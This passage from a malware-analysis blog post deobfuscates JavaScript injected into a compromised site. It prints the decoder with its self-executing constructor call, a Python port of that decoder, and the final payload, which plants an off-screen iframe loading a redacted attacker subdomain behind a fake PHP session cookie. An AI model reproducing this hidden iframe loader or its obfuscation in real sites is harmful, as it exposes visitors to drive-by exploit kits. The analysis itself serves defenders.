isFiniteDocument += String.fromCharCode(((returnButton + formsEncodeURIComponent - 97) ^ continueNew.charCodeAt(buttonFalse % continueNew.length)) % 255);
buttonFalse++;
} else {
returnButton = (formsEncodeURIComponent - 97) * 13 * undefinedFinally;
}
constEncodeURIComponent++;
}[]["constructor"]["constructor"](isFiniteDocument)();
</code></pre>
<br />
Aside the use of really badly named variables which can lead to confusion, we note three important things:<br />
<ul>
<li><b>["rv:11", "MSIE", ];</b> <br />The javascript code tries to autodect the browser. It search for IE11 and more interstingly, the table finishs with ', ]'. I think that the code is autogenerated upon demand, and can autodetect way more borwser. This one wants to detect MSIE or IE11, but the generator code must have more browser and versions.</li>
</ul>
<ul>
<li><b>navigator.userAgent.indexOf("MSIE 10")</b><br />The previous check and this one are used to set up a variable to the value of "2" if the browser is IE10 or IE11. Interesting, this javascript targets recent browsers (at least, not an IE8 ^_^ ).</li>
</ul>
<ul>
<li><b>continueNew = "6pbXWbAoyVTSfe";</b> and <b>.replace(/[^a-z]/g, "");</b><br />That continueNew variable is a key. The replace part just takes all the lowercase characters from the screenXConfirm <span> id. It's interesting. The span id is used twice, one for its numbers, another for its lowercase letters. They are used to encrypt layers of obfuscated javascript. We understand better why this span id looks like a bunch of random things.</li>
</ul>
And we have a decyphering function which decrypt the lowercase characters with the key and the variable setted with the user-agent. This is a really weird way to redirect browser to a specific location... A simple "if" case would have done the job, remeber that we are under two layer of obfuscation.<br />
<br />
I used again a bit of python code to see where we are going. I didn't even tried to reverse the decyphering function, because copy-pasting it "just works" (yes, javascript == python ^_^ ):<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">1: #! /usr/bin/python
2: import re
3: screenXConfirm="0 23 2cs2 czc22 1m3a (once again, all of the span id chars)k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"
4: key="6pbXWbAoyVTSfe"
5:
6: returnButton=0
7: undefinedFinally=2 #If you have MSIE10 or MSIE11
8: buttonFalse=0
9: constEncodeURIComponent=0
10: isFiniteDocument=[]
11:
12: onloadCheckbox=[]
13: for i in screenXConfirm:
14: c=(re.sub(r"[^a-z]","",i))
15: if len(c) > 0:
16: onloadCheckbox.append(ord(c))
17:
18: for formsEncodeURIComponent in onloadCheckbox:
19: if (constEncodeURIComponent%undefinedFinally):
20: num=(returnButton+formsEncodeURIComponent-97)^ord(key[buttonFalse%len(key)])
21: buttonFalse+=1
22: isFiniteDocument.append(chr(num%255))
23: else:
24: returnButton=(formsEncodeURIComponent-97)*13*undefinedFinally
25: constEncodeURIComponent+=1
26:
27: print ''.join(isFiniteDocument)
</code></pre>
<br />
<h3>
4/ Hiding in plain sight</h3>
<div style="text-align: right;">
<i>Don't let your guard down... or you'll die.</i></div>
<br />
The last javascript code, after beautifying, is:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> p = "PHP_SESSION_PHP";
if (document.cookie.indexOf(p) == -1) {
document.write('<style>.kkvhavtlfdalg{position:absolute;top:-809px;width:300px;height:300px;}</style>
<div class="kkvhavtlfdalg">
<iframe src="http://--redacted.redacted--.co.uk/hYCKyYdJsc_cn_JxHu.html" width="250" height="250">
</iframe>
</div>');
}
c = p + "=364; path=/; expires=" + new Date(new Date().getTime() + 604800000).toUTCString();
document.cookie = c;
document.cookie = "_" + c;
</code></pre>
<br />
We notice immediately two things:<br />
<ul>
<li>The use of the cookie PHP_SESSION_PHP. This is made to look like a legit cookie from a PHP Session. I search through all github repositories, open sources repos and couldn't find one legitimate use of this Cookie. If you have this cookie stored in your browser, I have some bad news for you.<br />You can check for Firefox with sqlite:<br /><pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/.mozilla/firefox/39wilkuz.default$ sqlite3 cookies.sqlite
SQLite version 3.7.13 2012-06-11 02:05:22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> select baseDomain from moz_cookies where name like 'PHP_SESSION_PHP';
sqlite>
</code></pre>
<br />(yeah, I know, the attack targets IE, but this is Firefox. Whatever.)</li>
</ul>
<ul>
<li> The domain where the iframe points to:<br />This domain doesn't exist anymore. I can't find any records about it. After some readings, I think it's a method called '<a href="https://blog.opendns.com/2015/11/24/opendns-provides-sheds-light-on-domain-shadowing/">DNS shadowing</a>'. The domain is legit, the subdomain is not. The subdomain has a little TTL and is promptly removed after attack. No tracks, no way to hunt down the IP address. Clever.</li>
</ul>
<br />
<h3>
5/ Conclusion</h3>
<div style="text-align: right;">
<i>Weapons are just tools. True strength lies within me.</i></div>
<br />
In this blogpost, we saw how an attacker can do the first part of a fingerprinting. Only clients with IE10 or IE11 are redirected to a (supposed) evil iframe. <br />
The attacker uses nice trick for staying under the radar, with .htaccess and javascript variables names which looks legit. What is hard to understand is the 3 layer of js obfuscation: if you find the first js illegitimate, you have no problem to go through the 3 layers in very little time, so why spend time in order to do this obfuscation? Maybe it confuses some AV? Another thing?<br />
In the end, the most significative way to block an analyst is the DNS shadowing, and it's very effective :-(
<br />
<br />
If you search the Internet with PHP_SESSION_PHP and DNS shadow, you find connections to Angler Exploit Kit or Darkleech. Without the iframe, it's hard to say what it really was.<br />
<br />
<div style="text-align: right;">
0xMitsurugi<br />
<span style="font-size: x-small;"><i>Quotes are taken from SoulCalibur.</i></span></div>
<br />Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0